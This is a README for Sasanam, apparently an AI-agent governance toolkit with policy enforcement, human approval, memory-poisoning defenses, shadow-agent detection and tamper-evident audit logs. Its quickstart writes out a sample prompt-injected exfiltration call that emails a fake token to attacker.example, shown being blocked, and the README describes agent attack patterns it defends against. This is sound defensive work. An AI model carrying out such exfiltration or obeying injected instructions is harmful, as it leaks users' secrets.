Skip to content
SIDDARTHAREDDY8Public

About

Sasanam — The AI Governance

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

2,190 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Sasanam — The AI Governance

The runtime governance layer for AI agents — constrain what agents can do, watch what they actually do, and produce evidence an auditor can verify without trusting us.

Sasanam (శాసనం) — Sanskrit/Telugu for an edict: a rule that binds, set down in writing.

Why this exists

AI agents take multi-step actions in the real world: reading files, calling APIs, sending messages, moving data. "Trust the model to behave" does not survive contact with production — 2026 has already seen agent swarms hacking their way across companies, millions of keys exfiltrated through agent tooling, and models breaching systems nobody told them to touch.

Our position is simple: stop trying to make the model perfectly obedient, and instead constrain what the actor can do, observe what it actually does, and record everything in tamper-evident form. The enforcement core is the funnel; the metered evidence pipeline — auditor-readable exports, retention, attestation — is the product. Sell evidence, not the engine.

What it does

Four jobs, one pipeline. Every agent action flows through all four.

1. Enforce — nothing executes without a decision

  • Fail-closed policy engine (gov/policy.py): deny ≻ require_approval ≻ allow, default-deny. No configured key, no policy, no boundary proof — nothing runs.
  • Human approval queue (gov/approvals.py): records bind the args digest and policy hash; decisions are TTL-expired and separation-of-duty checked. Ceremony-integrity gates bounce empty or self-contradictory approval reasons back instead of stamping them. Display≡execution: the approved preview is re-derived from the exact args about to execute — any mismatch refuses fail-closed. TOCTOU-safe: the canonical target is re-validated at sweep time against the MAC-bound packet (v5), so a path swapped while the human was deciding can't slip through.
  • Executor-minted identities with role→tool least privilege, plus delegation tokens for scoped hand-offs.
  • Signed capability manifests (gov/capability_manifests.py): skills and MCP servers ship Ed25519-bound declared capabilities, verified at use time — capability drift refuses fail-closed.
  • Countersigned invocation receipts (gov/invocation_receipts.py): after a consequential execution, an Ed25519 receipt binds what actually ran — tool, args digest, canonical target, policy decision, preview digest. Independently verifiable offline.

2. Observe — find the agents you didn't know you had

  • Shadow-agent scan (gov/shadow_scan.py): machine-cadence and orchestration-pattern fingerprinting over action logs. Sightings are advisory — never auto-register, never auto-block.
  • Unknown-agent discovery/inventory (gov/discovery.py): who is acting in your systems, registered or not.
  • Rate-independent enumeration signal (gov/enumeration_signal.py): structural list→read detection with zero time arithmetic — catches slow exfiltration at one query per hour just as well as one per second.
  • Behavioral signature registry (gov/behavioral_sigs.py): six versioned v1 signatures (fanned egress, parallel sessions, credential-then-export, burst cadence, memory-write-heavy, approval-queue spam), each pinned with parameters, false-positive controls, and evasion notes. Advisory-only.

3. Remember safely — memory is an attack surface

Agents that remember can be poisoned. Every memory write carries MAC-bound provenance: who wrote it, and what channel it arrived on.

  • Act-gate (gov/memory_actgate.py): a consequential action that reads un-elevated memory queues for human approval. Elevation requires corroboration from ≥2 independent trusted principals — one compromised writer is never enough.
  • Review inbox + bounded journal (gov/memory_inbox.py): suspicious memory is flagged or quarantined for human review, never silently trusted; per-principal quotas and chained compaction keep it bounded.
  • Audio-carrier defense (gov/audio_carrier.py): voice memos and audio attachments are magic-byte classified (WAV/MP3/OGG/FLAC). A carrier mismatch forces the write into untrusted-derived containment plus inbox review — because a paraphrased voice memo can dodge every text-channel defense while the carrier is the only remaining signal.

4. Prove — evidence an auditor can verify without us

  • Hash-chained audit log (gov/log.py): HMAC-SHA256 chain, key epochs, signed checkpoints. gov-verify checks it offline.
  • Offline evidence bundle (gov/offline_bundle.py): a standalone stdlib-only verifier checks integrity, monotonicity, and containment — no engine required, no trust in us required.
  • OSCAL export + evidence crosswalk (gov/evidence/): mechanisms mapped to NIST AI RMF 1.0 and EU AI Act controls, verified against the primary sources (ISO/IEC 42001 rows are explicitly marked unverified — licensed text we won't claim to have checked). Deterministic OSCAL component-definition packages out of the same crosswalk.
  • Decision replay: past decisions re-derived deterministically from the log.

Secrets never reach the agent

Sentinel credential substitution (gov/sentinel_substitution.py): agents see only fake_value_<uuid> placeholders. The proxy swaps real credentials in for authorized hosts only, at the last moment. This closes credential exfiltration through the agent's context — there is nothing to leak.

Architecture

agents ──▶ ToolExecutor ──▶ identity minted? ──▶ role allowlist? ──▶ DLP clean?
                                                              │
                                                     policy engine
                                            (deny ≻ require_approval ≻ allow,
                                             default-deny, taint + egress +
                                             memory-provenance context)
                                      ┌──────────┼──────────────┐
                                      ▼          ▼              ▼
                                    deny   require_approval   allow
                                      │          │              │
                                      │   ┌──────▼──────┐       │
                                      │   │   approval  │       │
                                      │   │    queue    │       │
                                      │   │ ceremony    │       │
                                      │   │ gates ·     │       │
                                      ▼   │ display≡exec│       ▼
                           write-ahead│   │ TOCTOU-safe │  execute
                           audit log  │   └──────┬──────┘       │
                           HMAC-      │    human decides        │
                           chained    │    (gov-approve /       ▼
                                      │     web UI)      countersigned
                                      └────────┬─────────▶ receipt
                                               │
                    ┌──────────────────────────┼──────────────────────────┐
                    ▼                          ▼                          ▼
            offline evidence bundle    shadow scan + discovery     memory act-gate
            OSCAL export               (advisory sightings)        + review inbox
            decision replay

Try it in 60 seconds

Wrap any tool-using function; every call is mediated (identity → role allowlist → DLP → fail-closed policy → write-ahead audit log):

from gov.adapters.core import GovernedBinding
from gov.adapters.generic import governed

ex = build_executor_once()   # run dir + fail-closed policy + audit log (your app)
binding = GovernedBinding(ex, ex.mint_identity("agent-1", "support", "demo"))

@governed(binding)                      # every call mediated; body never runs raw
def send_email(to, subject, body): ...

# A prompt-injected exfiltration attempt is DENIED before anything executes:
send_email(to="backup@attacker.example", subject="db export",
           body="customers + ghp_stolenkey12345678901234567890")
# -> ToolDeniedError: Blocked by DLP rule dlp-github-token ... (logged in the audit trail)

A runnable copy-paste version lives at examples/quickstart_5line.py (self-contained, synthetic — no network, no real systems). More adapters in examples/: LangChain StructuredTool, MCP client, OpenAI-style tool-call loop.

Then inspect the run the same way you would in production:

gov-verify <run_dir>/actions.jsonl        # offline HMAC chain check (exit 0 = OK)
gov-approve --rundir <run_dir> list       # human approval queue
gov-evidence-verify <bundle>              # standalone offline evidence check
gov-report --rundir <run_dir>             # severity-ranked Markdown + HTML report
gov-policy-lint policies/default.yaml     # lint the policy set

SYNTHETIC DEMONSTRATION. Every tool is simulated, every byte stays on this machine: no network calls, no real credentials, no real systems. What is real: the enforcement pipeline. Key behavior to know: without a configured key every entry point fails closed — there is no dev-key fallback anywhere.

Install (not on PyPI yet — build the wheel locally; the base package is stdlib-only):

python -m pip wheel . --no-deps --no-build-isolation -w dist/
python -m venv /tmp/gov-venv
/tmp/gov-venv/bin/pip install dist/sasanam-*-py3-none-any.whl
# LangChain adapter: pip install "sasanam[langchain]"

How we make sure it works

  • Break-first. Every finding is demonstrated red on the unmodified tree before it is fixed, and closures are proven at the public seams — never on green tests alone.
  • Finding hygiene. evals/FINDINGS.md holds 190+ filed findings, each with severity, attack shape, red-team evidence, and close-when criteria. Overstated closures are re-filed as new findings, never quietly patched.
  • Gates before every release: the canonical suite (thousands of checks), the registry gate, a 3,216-situation adversarial matrix, realistic attack scenarios, and an AMSB red-team scorecard. Batteries are deterministic (×2) and clean-env verified.
  • Honest residuals. Every lane reports what its fix does not cover, in writing, in the tree. If a number is synthetic, it says so.

Honest limitations

  • Tools are simulated in the demo harness: the enforcement logic is real, the tool effects are not. Real sandboxing for tool execution is the documented next step.
  • No audio-capable model is in the loop: carrier defenses are tested at the ingestion/governance seam with synthetic carriers, not perceptual fidelity.
  • Log integrity rests on key custody. It fails closed with no configured key; a HashiCorp Vault transit adapter exists (server is BSL-1.1 — the license-clean self-hosted path is OpenBao, API-compatible, zero adapter changes); cloud KMS is the production answer.
  • End-to-end TLS and live transparency-log anchoring are documented v1 boundaries, not hidden gaps.
  • Precision/recall figures are synthetic self-consistency measurements, not field data.
  • The OSCAL export is a format, not a proof — no external validator has been run.
  • Discovery and behavioral signals are advisory: benign systematic activity can look identical. They are sightings, not verdicts.

Layout

  • gov/ — the governance layer (policy, executor, approvals, memory, discovery, evidence, DLP, egress, adapters)
  • gov/evidence/ — evidence crosswalk, checklist, OSCAL export
  • gov/adapters/ — framework shims (generic decorator, LangChain, MCP, OpenAI-loop)
  • evals/ — adversarial batteries (one per finding/control), FINDINGS.md, the evidence matrix battery
  • tests/ — canonical unit suite (tests/run_tests.py)
  • demo/ — the 4-agent synthetic scenario + attack scenario CLIs
  • policies/ — default fail-closed policy set
  • workstreams/ — research notes, prospecting, architecture (sibling dirs at repo-parent level for discovery/supply-chain/evidence streams)
  • examples/ — runnable copy-paste integrations
  • BUILD_LOG.md — the implementation journal, every wave

Status

Private repository, pre-release. Building toward v1 (target 2026-10-31) — the quality bar governs the date, not the other way around. Nothing here is a certification, and no export claims otherwise: the evidence is decision support, built so a skeptical auditor can check our work without trusting us.

About

Sasanam — The AI Governance

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages